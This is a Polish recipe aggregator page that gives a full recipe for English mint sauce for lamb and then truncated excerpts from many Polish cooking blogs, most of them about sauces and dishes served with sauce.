Tradycyjny angielski sos do jagnięciny.Rewelacyjny i banalny w przygotowaniu. Składniki: duży pęczek świeżej mięty 1 łyżka cukru szczypta soli 4 łyżki białego octu 4 łyżki wrzątku Miętę bardzo drobno posiekać, dodać cukier, sól, zalać wrzątkiem i dodać ocet. Zostawić na 1/2 godziny. Podawać do pieczeni jagnięcej (albo innego, pieczonego mięsa). Rewelacja

stajnia gołębie od kuchni
Sos chrzanowo - żurawinowy do jajek na twardo. 198

łyżki dżemu żurawinowego sól pieprz czarny mielony Sposób wykonania :   Wszystkie składniki wymieszaj dokładnie razem. Dopraw do smaku solą i świeżo zmielonym pieprzem. Tuż przed podaniem możesz udekorować sos łyżeczką dżemu żurawinowego.                          Smacznego

Przepisy i porady kulinarne
Makaron z sosem z bakłażana i pomidorów. Czy można jeść skórkę z bakłażana? 178

Podsmażaj około 10 minut a następnie zalej pomidorami. Gotuj około 30 minut a na końcu dopraw papryczką chilli, imbirem, bazylią, solą i pieprzem. Makaron ugotuj, odcedź i wymieszaj z sosem. Podawaj posypane świeżą bazylią oraz siemieniem lnianym

wysmienity
CIASTO COCA-COLAdowe 257

podaniem podgrzewamy. Boki lekko przestudzonego ciasta obkrajmy nożykiem, odpinamy obręcz i wyjmujemy z formy.   Kroimy w małe kliny i układamy na talerzykach.  Wierzch każdej porcji dekorujemy ciepłym sosem toffi

cool and minty
Szałołt dlo frelkōw (Sałatka dziewczęca) 190

przyniosły 10 teoria 11 to dość dosadne określenie braku powodzenia 12 trzaski, małe drewienka 13 później 14 główki 15 szpinaku 16 młodych 17 woreczka 18 puszka kukurydzy 19 sos 20 cytryny 21 pokrójcie 22 całkiem 23 inny 24 garnuszku 25 razem 26 wrzućcie 27 dużej 28 gotowe 29 pasować Artykuł Szałołt dlo frelkōw (Sałatka dziewczęca) pochodzi z serwisu Chop

Chop w kuchni
Sałatka brokułowa z jajkami i tofu 263

Zapraszam na wiosenną sałatkę z brokułami, jajkami, tofu z sosem majonezowym. Sałatka idealnie sprawdzi się także na Wielkanocny stół :) Czytaj więcej

Ana Mari's world
Penne giganti w sosie pomidorowym 264

można wykorzystać też każdy inny 🙂 250 g zmielonej szynki wieprzowej 300 g szpinaku mrożonego w brykiecie 1 duża cebula 1 słoik krojonych … Czytaj dalej Penne giganti w sosie pomidorowym

czarrna od kuchni
Zupa z piersi kurczaka z kluseczkami 214

trochu.. 1 pierś z kurczaka mieszanka warzyw pociętych w drobne słupki [ u mnie mieszanka chińska] 2 łodygi selera naciowego kilka różyczek brokuła domowa vegeta sól, pieprz listek, ziele sos sojowy ciemny 2-3 łyżki koncentratu pomidorowego śmietana koperek, szczypiorek kluski  2 jajka około 1 szkl.mąki sól Pierś z kurczaka pokroić , wymieszać z przyprawami, odstawić na jakiś czas

Moje domowe kucharzenie
Makaron z łososiem i groszkiem 224

groszkiem, doprawiamy solą i pieprzem i smażymy, aż łosoś się zetnie. Jogurt mieszamy z serkiem, doprawiamy 1/2 łyżeczki gałki i dolewamy na patelnię. Odcedzamy makaron i mieszamy z powstałym sosem - od razu podajemy. Smacznego :)      Zapraszam do polubienia mojej  strony na Facebooku  oraz śledzenia na  Instagramie

Moje Kuchenne Rewelacje
Kotlety z cukinii z miętowym guacamole 211

Przepis szybki na przepyszne, orzeźwiające kotlety z cukinii zaczerpnęłam z programu Marty Dymek. Smakują obłędnie a dodatek guacamole - mojego ulubionego sosu nadaje im jedyny i niepowtarzalny smak. Zachęcam nie tylko wegan i wegetarian do próbowania ale i mięsożerców, zobaczycie jaki można super obiad zrobić bez mięsa. Polecam gorąco. Kotlety z cukinii z miętowym guacamole. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
domowy majonez bez jajek 235

wykonanie: Mleko oraz musztardę miksujemy, dodajemy sól, pieprz. Cały czas miksując wlewamy malutkim strumieniem olej. Miksujemy, aż powstanie gęsty majonez. Przekładamy do słoiczka. Przechowujemy w lodówce. Dodajemy do sałatek, sosów, dipów

Domowy Smak Jedzenia
Bananowe knedliki z sosem truskawkowym 186

robi się szybko, są pyszne i znikają równie szybko. Można je zajadać na obiad ale jako deser też będą znakomite. Jakie kluski jadacie najczęściej, jakie lubicie? Bananowe knedliki z sosem truskawkowym. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Placki ziemniaczano-brokułowe z sosem 277

serka grillowana papryka i oliwki Apetina ok. 3/4 kg ziemniaków 2 cebule 2 jajka 3-4 łyżki mąki sól, pieprz średnio … Czytaj dalej Placki ziemniaczano-brokułowe z sosem

czarrna od kuchni
Klasyczny sos pomidorowy 144

przesmażyć, ja własne-to wiadomo :) Całość doprawiamy, solą, pieprzem, cukrem (niestety polskie pomidory kochają cukier),Troszkę octu balsamicznego, suszona (lub świeża) bazylia i gotowe :) WSKAZÓWKI: Baza dla wszelkiego rodzaju sosów włoskich

Kopystką po garach
Sos tatarski 182

Zapewne każdy z nas kupił kiedyś sos tatarski. I jak Wam smakował? Czy oprócz masy majonezowej znaleźliście coś więcej?  SKŁADNIKI: 2 ogórki konserwowe 1/2 słoiczka (ok. 75 g) konserwowych pieczarek Łyżka konserwowej cebuli (opcjonalnie) Łyżka kaparów Łyżka konserwowej marchwi (opcjonalnie) 3 łyżki jogurtu 1,5 łyżki majonezu Sól Pieprz Odrobina cukru PRZYGOTOWANIE: Jogurt łączymy z majonezem-dodajemy posiekane warzywa

Kopystką po garach
Kremowe tagliatelle z kurczakiem i szpinakiem 605

Prosty przepis na niecodzienny obiad czyli makaron otulony śmietanowo-ziołowym sosem na bazie serka mascarpone. W połączeniu z kurczakiem i szpinakiem tworzą pyszne, delikatne połączenie. Polecam to danie wszystkim miłośnikom kuchni włoskiej. Czytaj więcej

Czekoladowa muffinka
Jajko w koperkowo - chrzanowym sosie 152

wodą i gotować do miękkości na malutkim ogniu ok 1 godz.  Odcedzić, a do bulionu dać chrzan i posiekany koperek. Gotować kilka minut i dodać śmietanę, gdy się sos zagotuje wlać rozpuszczoną w wodzie mąkę i trzymać na ogniu do zagotowania.  Ryż ugotować według instrukcji na opakowaniu i wymieszać z porem posiekanym i podsmażonym na łyżeczce masła. Jajka

Gaździnka warzy
Wereszczaka po warszawsku 213

Bardzo ciekawe jest to, że te dania były zupełnie różne w różnych miejscach. Ponoć wersja kojarzona z Warszawą to właśnie danie jakie pokazuję Wam dzisiaj czyli biała kiełbasa w sosie cebulowym na piwie. ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
USZKA Z PIECZARKAMI W SOSIE ŚMIETANOWYM Z PARMEZANEM 176

kolejny dziś zapraszam na pyszne, makaronowe danie. Znów będzie łatwo, szybko i mega mega smacznie! Lubiany przeze mnie makaron uszka połączyłam z ze smażonym z cebulką pieczarkami, sosem śmietanowym i odrobina parmezanu. Dla ostrości – troszkę chili. Wyszedł fajny i szybki obiad idealny na dziś ( albo jutro też! ) Spróbujcie! SKŁADNIKI: ( 2 porcje ) * makaron uszka – ok. 200 g * duże świeże

Ostra na Słodko
Spaghetti z marchewki z tahini i pieczonym kalafiorem 198

rzecz makaronów z warzyw. Jestem pewna, że Ty też je pokochasz! Składniki (2 – 4 porcje): 300 g spaghetti z marchewki Fit&Easy 3 – 5 łyżek domowego sosu tahini (lub ziarna białego sezamu + oliwa z oliwek) garść ulubionych orzechów garść liści kolendry lub natki pietruszki 1 łyżka oleju kokosowego lub innego oleju roślinnego do smażenia 1/2 główki kalafiora

Moja pasja smaku
makaron z sosem szpinakowym i jajkiem sadzonym... 208

rosołową i szpinak mrożony, dusić do odmrożenia szpinaku co jakiś czas zamieszać wlać wodę i zagotować, mąkę wymieszać z wodą i śmietaną 12% i wlać do szpinaku, mieszając zagęścić sos na oleju usmażyć jajka sadzone, posolić solą ziołową i pieprzem posypać makaron podać polany szpinakiem i z jajkami sadzonymi - smaczny na szybko obiad.........SMACZNEGO

W Mojej Kuchni Lubię
Klopsiki w sosie pomidorowym z Pliska Honey 144

uformować klopsiki.  Gotować ok 30 min w bulionie. Przełożyć na talerz, a do bulionu dodać pomidory z puszki, śmietanę i Pliskę Honey. Zagotować i ponownie włożyć do sosu klopsy. Doprawić do smaku solą, pieprzem i wędzoną papryką. Podałam z ryżem wymieszanym z natką pietruszki i gotowe

Gaździnka warzy
MUSZTARDOWA KARKÓWKA Z SOSEM WSTRZĄŚNIĘTYM NIEMIESZANYM 253

Świeża karkówka bardzo smaczna, miękka – doskonała na szybki, niedzielny, rodzinny obiad. Najlepiej będzie smakować, jeśli zamarynuje się ją dzień wcześniej. Gorąco polecam! SKŁADNIKI : ( dla 4 osób

kuchniabellissima.wordpress.com
Domowy ketchup super expresowy. Dieta - szybka przemiana 185

Domowy ketchup to świetna alternatywa dla sosu pomidorowego ze sklepowej półki, bo choć kuszą ładnymi słoiczkami i kolorowymi etykietami, po przeczytaniu składników nie zdecydujesz się na zakup żadnego z nich. Nawet te z najlepszyn składem, bio, wszystkie zawierają cukier. Ponieważ cukier niweczy działanie diety i plany zrzucenia wagi nie pozostaje nic innego jak samemu go wyprodukować. Jest bajecznie prosty

Gotuj zdrowo!Guten Appetit!
Obiad we włoskim stylu, czyli makaron z owocami morza i warzywami 197

ugotować makaron al dente według instrukcji na opakowaniu. Do warzyw i owoców morza dodać odcedzony z wody makaron, wymieszać i chwilę gotować, aż  warzywa będą odpowiednio miękkie, a sos zgęstnieje. Wyłączyć palnik, dodać umytą i posiekaną pietruszkę. Potrawę doprawić solą i świeżo mielonym pieprzem. Podawać od razu

Passions hobbies life
Udka kurczaka w sosie pomidorowo-pomarańczowym 312

Nikt nie lubi rutyny w kuchni, dlatego znany smak kurczaka... Artykuł Udka kurczaka w sosie pomidorowo-pomarańczowym pochodzi z serwisu CookMagazine

COOKMAGAZINE
Sałatka z wędzonym kurczakiem i ananasem 190

kukurydzą i pokrojonym w kostkę, odsączonym z soku ananasem.  Jogurt naturalny mieszamy z 2 łyżkami majonezu i 2 łyżkami chrzanu. Doprawiamy do smaku solą i pieprzem. Tak przygotowanym sosem polewamy sałatkę, całość mieszamy i odstawiamy do przegryzienia się smaków.  Smacznego

Taste Therapy
Makaron penne z brokułem i kalafiorem w sosie śmietankowym 220

Penne z brokułem, kalafiorem w sosie śmietankowym Propozycja na to danie, jest bardzo podobna, do poprzedniego dania makaronu ze szpinakiem  . Pomysł na to danie powstał, ze względu na to, że nie wszyscy przepadają za szpinakiem, a kiedy mamy mało czasu takie danie zrobimy bardzo szybko, a zarazem będzie sycące i na prawdę smaczne.  Miłego dnia dla wszystkich

Mój pomysł na
Sos bolognese z papryką 143

Bardzo szybki w przygotowaniu sos bolognese z czerwoną papryka i słodkim winem. Polecam na rozgrzewający i syty obiad. 600 g mięsa mielonego wieprzowego ( z szynki) 1 czerwona papryka 2 cebule 2 ząbki czosnku 1 duża marchewka Oliwa z oliwek 0,5 szklanki słodkiego czerwonego wina 0,5 szklanki bulionu wołowego 2 pomidory 190 g koncentratu pomidorowego lub przecieru z pomidorów

VioletoweKucharzenie
Indyk w sosie tajskim z makaronem ryżowym 226

Bardzo dobry lekko egzotyczny sos. Smaczne danie. Do woka lub na patelnię wlać olej czosnkowy, rozgrzać. Jeśli nie macie oleju czosnkowego to do mięsa dodać 1 ząbek czosnku drobno posiekany. Mięso indyka pokroić w cienkie paski i doprawić solą, pieprzem, słodką papryką, imbirem. Wymieszać i zostawić na 15 minut. Na rozgrzany olej wrzucić mięso, dodać posiekaną chilli, listki keffir ( liście

Kuchnia Pokoleń
BLT sałatka z kurczakiem i awokado 212

piórka, a awokado na kawałki. Usmaż boczek, lekko przestudź i pokrusz. Pokrój kurczaka w plastry. Wszystkie składniki ułóż na sałacie. Olej, ocet i musztardę zmiksuj na jednolity dressing. Jeśli sos jest za rzadki dodaj więcej musztardy. Dopraw solą, pieprzem i odrobiną rozmarynu. The post BLT sałatka z kurczakiem i awokado appeared first on Blog kulinarny - codojedzenia.pl

codojedzenia
Klopsiki z serem w sosie koperkowym 152

Dziś proponuję Wam klopsiki wieprzowe z serem w sosie koperkowym. ]Niby proste danie ale inne dzięki serowej niespodziance. Klopsiki możemy podać z ziemniakami lub makaronem. Klopsiki ugotowałam w nowym garnku. Dostałam do testów komplet garnków Maurycy firmy Silesia a kupić go możecie tutaj . Garnki można stosować na różnych rodzajach kuchenek i myć w zmywarce. Są ładnie wykonane i możecie kupić

Ewa w kuchni
Tortilla z kurczakiem i salsą z ananasa 195

przekąskę na kolację, domówkę czy lunch? Jeżeli tak to nie musicie już szukać!! Przedstawiam Wam doskonałe tortillę z grillowanym kurczakiem, salsą z ananasa i sosem z awokado. Całość smakuje wyśmienicie. Wszystkie składniki możecie przygotować sobie wcześniej (łącznie z plackami), a później tylko podać do stołu bezpośrednio przy gościach. Post Tortilla

Marta Gotuje
Sałatka z tuńczyka, kukurydzy i jajek 247

zaznaczyć podobnie jak np. łosoś ma w sobie duże ilości kwasów omega-3 , potrzebnych naszemu organizmowi. Sałatka z tuńczyka, kukurydzy i jajek – składniki 2 puszki tuńczyka (najlepiej w sosie własnym) 4 jajka 4 ogórki konserwowe puszka kukurydzy w puszce 2-3 łyżki majonezu 2 łyżki jogurtu naturalnego 1 mała czerwona cebula pieprz sól koperek do dekoracji Sałatka z tuńczyka

Kulinarnyblog.pl - wiesz jak gotować!
Pomarańczowe naleśniki 172

Przygotowanie Mleko, wodę, jajko i mąkę połączyć razem, dodać szczyptę soli i usmażyć naleśniki. Na suchej patelni i małym ogniu roztopić cukier. Następnie wlać sok z pomarańczy. Trzymać sos przez kilka minut na ogniu po czym włożyć do niego zwinięte w trójkąty naleśniki niech lekko nasiąkną.  Podałam z malinami i borówkami.. Smacznego

Gaździnka warzy
Kokosowy kurczak z zieloną pastą curry 185

przeciśniętym przez praskę czosnkiem. Podsmażyć na patelni. Do bulionu dodać pastę curry, mleczko kokosowe, sok z cytryny po czym podgrzać. Kurczaka przełożyć do brytfanki posypać chilli i zalać sosem. Piec w 180 st C przez 40-50 min.  Na końcu dodać posiekany szczypior i gotowe.. Smacznego

Gaździnka warzy
Pesto z suszonych pomidorów i migdałów 218

wykorzystując całe migdały. To dobry pomysł na szybki i smaczny obiad. Takie makaron z pesto świetnie sprawdza się też jako lunch do pracy – znacznie lepiej niż wszelkie sosy na bazie śmietany, które rozmiękczają makaron, z którego robi się zbita bryła. Makaron posmakował Emi, więc test podniebienia dziecka zdany:) PS. a domowe mleko migdałowe możecie wykorzystać do smoothie ( np. banananowe

Cooking for Emily
Razowe penne z indykiem i brokułem w sosie jogurtowym 182

Pyszny przepis na szybki obiad? Takie lubię najbardziej :)  Dzisiaj zapraszam na razowy makaron z brokułami i indykiem w jogurtowym sosie. Prosto, smacznie i zdrowo - czego chcieć więcej? SKŁADNIKI (dla 2 osób - 1 porcja 620 kcal) 200 g filetu lub sznycli  z indyka 200 g makronu pełnoziarnistego np. penne 500 g brokuła (może być mrożony) 4 łyżki jogurtu naturalnego

Moje Kuchenne Rewelacje
JOGURTOWA ZUPA Z BURAKÓW 303

Zastanawiam się czy poniższe danie nazwać koktajlem, zupą czy sosem... Nie wiem. Można je po prostu wypić lub dorzucić ryż albo ciecierzycę. Świetnie się sprawdza jako dodatek do dań głównych - możemy polewać nim ryż czy placki. Wybór należy do Was :-) Czytaj więcej

Kasia Sarna
Pikantny dip serowy 182

Pomysł na ten dip wziął się z sosu, który kiedyś zrobiliśmy do pieczonych polędwiczek zawijanych w boczek . Sprawdził się tam doskonale. Ostatnio nieznacznie zmodyfikowałem ten przepis, bo pomyślałem, że równie doskonale sprawdzi się on jako dip do przekąsek, takich jak czipsy, nachosy, paluszki, itp. A jeśli wolicie zdrowsze jedzenie to do selera naciowego. Pierwsza klasa, pasuje idealnie. Dodatkowo odkryłem ciekawą

Marder&Marder Manufacture
Sos paprykowy z indyczym mięsem 196

będzie miękka. Dodajemy wysmażone wcześniej mięso. Przecier mieszamy z wodą, oregano i cukrem, zalewamy paprykę z mięsem i chwile razem dusimy. Doprawiamy do smaku solą i pieprzem. Tak przyrządzony sos można podawać do ziemniaków, placków ziemniaczanych lub z cukinii np.  placki z cukinii

Kulinarne przemyslenia
Kurczak w marynacie sojowo - cytrynowej 163

podsmażyć na dwóch łyżkach oleju po 3-4 min z każdej strony. Wlać marynatę i trzymać jeszcze kilka min na ogniu. Podałam z tłuczonymi ziemniakami i sałatą pekińską w sosie vinegrette.. Smacznego

Gaździnka warzy
Śledzie w sosie musztardowym 241

efekt chce się uzyskać  - jest to sprawa tak naprawdę indywidualna ). Po wymoczeniu pokroić na mniejsze kawałki. Cebulę pokroić w kostkę. Musztardy wymieszać z majonezem i jogurtem, doprawić pieprzem. Sos wymieszać z cebulą oraz śledziami. Całość odstawić na kilka godzin do lodówki. Życzę smacznego. (adsbygoogle = window.adsbygoogle || []).push

Świat Smaku
Sos orzechowy 230

Składniki: masło orzechowe (3 łyżki) woda (1/2 szklanki) sos sojowy ciemny (2 łyżki) sok z cytryny (2 łyżki) ząbek czosnku (1 szt.) papryka ostra Czas przygotowania: 5 min Przygotowanie: Wszystkie składniki wkładamy do rondelka. Podgrzewamy ciągle mieszając. W razie potrzeby dodajemy trochę wody

Weganka gotuje
Dip pomarańczowo-musztardowy 153

znajdziesz link do dania z użyciem dipu. LINK: http://kuchniawedwoje.pl/nuggetsy-rybne-z-dipem-pomaranczowo-musztardowy/ Krok po kroku: 1.Wymieszać mąkę z mlekiem i doprawić 2. Gdy sos się zagotuje dodać skórkę i sok z pomarańczy, musztardę i posiekaną natkę Pobierz wersję do druku: Pobierz Dip pomarańczowo-musztardowy Artykuł Dip pomarańczowo-musztardowy pochodzi

KuchniaWeDwoje.pl
Żeberka w miodzie 136

posmakowały, są soczyste i lekko słodkawe. Czas wykonania: 2 h (+ 12 h czas marynowania) Ilość porcji: 3 Składniki: 850 g żeberek trójkątów Marynata: 5 łyżek miodu 2 łyżki sosu chilli do mięs Develay 1 cebula 2 łyżki oliwy 3 ząbki czosnku ½ łyżeczki pieprzu ½ łyżeczki papryki czerwonej słodkiej 1 łyżeczka soli Dodatkowo: worek do pieczenia Przygotowanie: Mięso pociąć

KuchniaWeDwoje.pl
OSTRY SOS POMIDOROWY 143

papryczką. Chwilę gotuję na małym ogniu z dodatkiem przypraw, co jakiś czas mieszając. Na koniec dodaję koncentrat i wodę, dokładnie mieszam, jeszcze przez chwilę gotuję. W razie potrzeby doprawiam sos do smaku

JejKuchnia
KURCZAK W SOSIE KREMOWYM Z BRZOSKWINIĄ 172

kostkę brzoskwinie. Mąką dokładnie łączę z zalewą oraz garścią posiekanych brzoskwiń (najlepiej blenderem), dodaję do mięsa wraz z sokiem z cytryny. Całość doprowadzam do wrzenia, mieszam do momentu zgęstnienia sosu. Danie posypuję świeżą kolendrą. Podaję z ryżem (u mnie gotowany z kurkumą i wymieszany z natką pietruszki

JejKuchnia
KURCZAK W SOSIE BANANOWYM Z PIECZONYMI BATATAMI 226

WYKONANIE: ŁATWE PRZYBLIŻONY CZAS PRZYGOTOWANIA: 45 MINUT ORIENTACYJNA CENA POTRAWY: 24 ZŁ. ILOŚĆ PORCJI: 2-4 Składniki na sos: około 500 g piersi kurczaka, 4 banany, 2 mniejsze pory, łyżka masła, curry, majeranek suszony, sól, świeżo mielony pieprz, 2 łyżeczki mąki ziemniaczanej,  około 120 ml wody, 200 ml śmietany 30%, świeży majeranek, marynata do mięsa: 2 łyżki oliwy, papryczka

JejKuchnia
FASOLKA PO BRETOŃSKU 186

odaję podsmażoną kiełbasę, boczek oraz cebulę. Doprawiam 2 łyżkami majeranku, szczyptą soli oraz pieprzem (wedle naszego uznania). Gotuję kolejną godzinę.  Na koniec dodaję koncentrat, gotuję 10 minut, aby sos zgęstniał. Ewentualnie doprawiam do smaku

JejKuchnia
ŁOPATKA WIEPRZOWA W SOSIE Z SUSZONYMI GRZYBAMI 190

suszonych grzybów (wcześniej namoczonych w 1/2 l wody), majeranek, ostra papryka, sól, 2 liście laurowe, 3 ziarna ziela angielskiego, czubata łyżeczka mąki ziemniaczanej + 4 łyżki wody (do zagęszczenia sosu), 2 ząbki czosnku. Przygotowanie: Mięso kroję w mniejsze kawałki, cebulę w ćwierćplasterki, czosnek siekam. Razem podsmażam na odrobinie oleju z dodatkiem przypraw. Grzyby zagotowuję wraz z wodą, w której się

JejKuchnia
Chrupiące skrzydełka z kurczaka a’la KFC 916

tłuszczu. Znikają w szybkim tępie z talerza. Takie skrzydełka możemy podać na domówce, na obiad lub inne okazje. Podajcie do nich tylko miseczkę ulubionego sosu (u mnie czosnkowy). Mniam, mniam " class="wp-smiley" style="height: 1em; max-height: 1em;" />" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Post Chrupiące skrzydełka z kurczaka

Marta Gotuje
Quesadillas z kurczakiem i kukurydzą 229

składniki (porcja na ok. 6 osób) 6 tortilli pełnoziarnistych 2 filety z kurczaka puszka kukurydzy 200g sera żółtego 200g mozzarelli z zalewy (opcjonalnie) – bo tortille mogą zbytnio namięknąć sos czosnkowy -> przepis TUTAJ sól pieprz pieprz ziołowy Quesadillas z kurczakiem i kukurydzą – przepis: Kurczaka myjemy, osuszamy i kroimy w większą kostkę. Doprawiamy do smaku solą, pieprzem, pieprzem ziołowym

Kulinarnyblog.pl - wiesz jak gotować!
Fantastyczny ketchup z dyni 161

najlepiej zrobić sobie samemu. Dlatego dziś mój ulubiony ketchup z dyni z potężną dawką witamin a to za sprawą fantastycznej dyni hokkaido. Taki ketchup idealnie nadaje się też jako sos do pizzy lub makaronu - kupny ketchup niekoniecznie dobrze wypada w tej formie. Dlatego czym prędzej udajcie się do pobliskiego spożywczaka, kupcie dynie i zróbcie sobie ketchup

Jadło i czytadło
MINI KEBABY Z SEZAMEM I SOSEM TERIYAKI 190

Sylwester to jedno wielkie przyjęcie na cześć mijającego roku, podczas... Artykuł MINI KEBABY Z SEZAMEM I SOSEM TERIYAKI pochodzi z serwisu CookMagazine

COOKMAGAZINE
Śledź w śmietanie 492

ręcznikiem papierowym i pokroić w ukośne paski. Cebulkę drobno pokroić, koperek posiekać. Do śmietany dodać cebulkę, koperek, doprawić do smaku, wymieszać. Ułożyć na zmianę na półmisku pokrojone śledzie i sos śmietanowy. Udekorować koperkiem i piórkami cebulki. Oprószyć świeżo zmielonym kolorowym pieprzem

Smakołyki Asi
PIERŚ Z KACZKI Z SOSEM ŻURAWINOWYM 289

Aromatyczna, soczysta i rozsiewająca zapach po całym domu PIERŚ Z... Artykuł PIERŚ Z KACZKI Z SOSEM ŻURAWINOWYM pochodzi z serwisu CookMagazine

COOKMAGAZINE
Kurczak curry z mleczkiem kokosowym 356

mieszanka meksykańska czyli papryka czerwona i żółta, kukurydza w mini kolbach, fasolka szparagowa (mogą być świeże warzywa) 200 ml mleczka kokosowego 2 łyżki jogurtu greckiego do zagęszczenia 2 łyżki sosu sojowego 2 łyżeczki cukru 4 ząbki czosnku 2 łyżki curry w proszku 1 łyżeczka kurkumy sok z limonki łyżeczka imbiru szczypta kuminu i papryki słodkiej kolendra świeża Wykonanie: Na oleju

Mama z miasta
Bitki wołowe w sosie własnym 358

podlać wrzątkiem, dodać liść laurowy, ziele angielskie i dusić godzinę. Gdy woda wyparuje dolewać wrzątek. Kiedy mięso zmięknie dorzucić kostkę rosołową. Chwilkę podgotować a na koniec doprawić i zagęścić sos mąką ziemniaczaną. Gotowe! Można podawać z młodymi ziemniakami i surówką z kapusty

Mama z miasta
Casarecce z kurczakiem w sosie śmietanowo-serowym 200

Szybki obiad z makaronem i sosem z kurczakiem w roli głównej. Kaloryczny, ale pyszny! U nas dzisiaj w przerwie między przygotowaniami do świąt a wizytą gości :) Składniki dla 2 osób: 150-170 g makaronu casarecce (u mnie Barilla) ok 300 g piersi z kurczaka po 1/2 łyżeczki kurkumy, czerwonej papryki i granulowanego czosnku 100 g tartej mozzarelli 50 g startego

Ze smakiem i z pasją
Sos z suszonych grzybów 250

wigilijnym stole nie może zabraknąć kremowego, esencjonalnego sosu grzybowego. Jest znakomitym dodatkiem do wigilijnych dań, ziemniaczków czy ryb.   SKŁADNIKI: 40g suszonych grzybów leśnych (podgrzybki, borowiki itp.) łyżka masła klarowanego 2 szalotki 200ml śmietanki 30 % sól, biały pieprz PRZYGOTOWANIE: Suszone grzyby płuczemy pod bieżąca wodą, zalewamy niewielka ilością buliony i zostawiamy na 24h. Po tym czasie gotujemy. Kiedy grzyby będą

Pyry na Gaz
Medaliony wieprzowe z borowikami na białym winie 226

Pyszny pomysł na aromatyczne polędwiczki wieprzowe z borowikami w śmietanowym sosie na białym winie. Świetnie sprawdzą się na rodzinnym obiedzie np. w towarzystwie ziemniaków lub kopytek! W dodatku nie są czasochłonne i łatwo się je przygotowuje :)  SKŁADNIKI (dla 4 osób - 1 porcja -265 kcal) 500 g polędwiczki wieprzowej 1 łyżka mąki (u mnie razowa) 1 biała cebula

Moje Kuchenne Rewelacje
Duszone polędwiczki z sosem chrzanowo-żurawinowym 176

Ostatnio na blogu trochę zasłodziłam i zasypałam Was słodkimi przepisami. Dziś zaproponuję coś na obiad. Duszona polędwiczka wieprzowa z sosem chrzanowo-żurawinowym to świetny przepis nie tylko na święta! Czytaj więcej

Ana Mari's world
Roladki schabowe mięsnym farszem 548

wody. Dodać bulionetkę i zioła. Dusić pod przykryciem ok pół godziny. Po tym czasie wyjąć roladki i usunąć sznurek. Mąkę wymieszać z 1/2 szkl zimnej wody i nadal gotując sos wlewać stopniowo, mieszając aby uzyskać pożądaną konsystencję

Smakołyki Asi
Sos beszamelowy 225

Sos beszamelowy to kremowa tekstura i podstawa wielu dań kuchni europejskiej. Beszamel to idealny dodatek do lasagne, zapiekanek, gotowanych warzyw i wielu innych dań.   Składniki: 80 g mąki 1/3 kostki masła ok. 1,5 szkl. mleka sól pieprz biały gałka muszkatołowa Przygotowanie: Z masła i mąki robimy zasmażkę - masło rozpuść w garnku i dodaj mąkę. Wszystko mieszamy

Alutka-Gotuje
Kotleciki jajeczne z kaszą jaglaną w cytrynowo - koperkowym sosie 151

oleju kokosowym po kilka minut z każdej strony. Do garnka wlać sok z cytryny - lekko zredukować. Następnie wlać śmietankę, przyprawić i trzymać na ogniu ok 15 min niech się sos nieco zredukuje. Wsypać posiekany koperek i gotowe.... Smacznego

Gaździnka warzy
MAKARON ZAPIEKANY Z SOSEM SEROWYM 265

wiecie uwielbiam wszelkiego rodzaju makarony – najczęściej gości u mnie chyba penne. Uwielbiam je zarówno z mięsem, warzywami, jak i różnego rodzaju sosami. Dziś mam dla Was przepis na serową ucztę z pełnoziarnistym makaronem! Takie danie jest idealnym pomysłem na sycący, rodzinny, szybki obiad! Nie będzie wykwintnie jak w 5 gwiazdkowej restauracji, ale będzie mega mega smacznie! Dodatek prażonej bułki

Ostra na Słodko
PESTO Z ORZECHAMI WŁOSKIMI 306

PESTO Z ORZECHAMI WŁOSKIMI to kolejna z nieskończenie wielu wariacji... Artykuł PESTO Z ORZECHAMI WŁOSKIMI pochodzi z serwisu CookMagazine .

COOKMAGAZINE
Sos jogurtowo-cytrynowy 181

Delikatny sos  jogurtowo-cytrynowy świetnie sprawdzi się  jako dodatek do ryb, mięs, świeżych warzyw czy  pieczonych ziemniaków. Polecam :) Składniki: 200 ml jogurtu naturalnego sok z 1/2 cytryny starta skórka z 1/2 cytryny pieprz cytrynowy, sól Wykonanie: Cytrynę umyć i sparzyć, skórkę zetrzeć na tarce o drobnych oczkach.  Jogurt wmieszać ze skórką i sokiem z połowy cytryny

magiczna kuchnia Kasi
Makaron z suszonymi pomidorami i kurczakiem 187

około 10 minut. Po tym czasie dodajemy śmietanę i dokładnie wszystko mieszamy. W oddzielnym garnku gotujemy makaron. Gdy będzie al dente, odcedzamy go na durszlaku i dodajemy go to sosu. Mieszamy cały czas podgrzewając.  Nakładamy na talerze  i posypujemy startym żółtym serem

Qchnia po prostu
Zupa pieczarkowa z kaszą jaglaną 163

zupę pieczarkową zagęszczoną zdrową kaszą jaglaną, która w zupełności zastąpi cały obiad. Składniki: • 500 g pieczarek • 1 cebula • 1 marchewka, 4 ziemniaki • 1 ząbek czosnku • 2 łyżki sosu sojowego • sól, pieprz do smaku • 4 łyżki oliwy • 1/2 szklanki słodkiej śmietanki • natka pietruszki • 1/2 szklanki kaszy jaglanej Wykonanie: • Cebulę pokroić w kostkę, pieczarki zetrzeć na tarce

To co kocham
PIERŚ INDYCZA W SOSIE CEBULOWO-KMINKOWYM 325

Dzisiejsza moja propozycja, to pomysł na wykwintny, bardzo smaczny obiad z piersi indyczej. Smak sosu wyraźny, idealnie pasujący do indyka. Sama nie przepadam za indykiem, ale w tej wersji nawet bardzo mi smakował. Jednym słowem jest to danie dla tych, którzy lubią kminek i cebulę :) Jeżeli przygotowałaś/eś danie z tego przepisu, prosimy o jego zdjęcie :). Wyślij

Przepisy Aleksandry
Pieczeń rzymska w sosie pieczarkowym z kaszą gryczaną 264

Dzień dobry ! J eżeli nie macie pomysłu na obiad proponuję Wam upiec pieczeń rzymsk ą, do tego polecam sos pieczarkowy i kasz ę gryczaną. Jest to i dealne połączenie i zawsze smacz ny obiad :) Czytaj więcej

Ana Mari's world
Sałatka z ryżem i serem żółtym 273

kroimy w kostkę, kukurydzę odsączamy z zalewy. Ser żółty ścieramy na dużych oczkach na tarce. Wszystkie składniki mieszamy w misce. Majonez mieszamy z solą, pieprzem, curry i tak przygotowany sos łączymy z sałatką. Przed podaniem warto sałatkę wstawić na 2-3 godziny do lodówki, będzie smakowała jeszcze lepiej :) Sprawdźcie :) Smacznego! Post Sałatka z ryżem i serem żółtym pojawił się poraz

Kulinarnyblog.pl - wiesz jak gotować!
Klopsiki z bazylią w karmelizowanych pomidorach 175

